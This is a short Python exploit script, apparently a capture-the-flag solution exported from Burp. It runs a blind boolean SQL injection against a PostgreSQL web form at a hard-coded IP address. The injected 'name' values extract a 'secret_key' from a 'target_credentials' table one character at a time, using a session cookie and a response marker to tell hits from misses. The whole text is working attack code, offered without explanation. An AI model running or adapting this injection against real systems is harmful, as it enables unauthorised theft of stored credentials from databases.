1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import requests import string s=string.digits+string.ascii_letters+r"${}-_"
burp0_url = "http://47.242.21.212:8081/" burp0_cookies = {"SessionId": "23d96ab50b7215421dd1c101be70d2e1"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://47.242.21.212:8081", "Connection": "close", "Referer": "http://47.242.21.212:8081/", "Upgrade-Insecure-Requests": "1", "Pragma": "no-cache", "Cache-Control": "no-cache"}
flag='' for i in range(len(flag)+1,60): print(i) for j in s: data = "(select secret_key from target_credentials where account='skynet')" burp0_data = {"name": f"s' or 1::BOOLEAN OFFSET 0|(left({data},{i})='{flag+j}')::integer\x00"} print(burp0_data) res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) if 'john.connor' in res.text: flag =flag+j break
|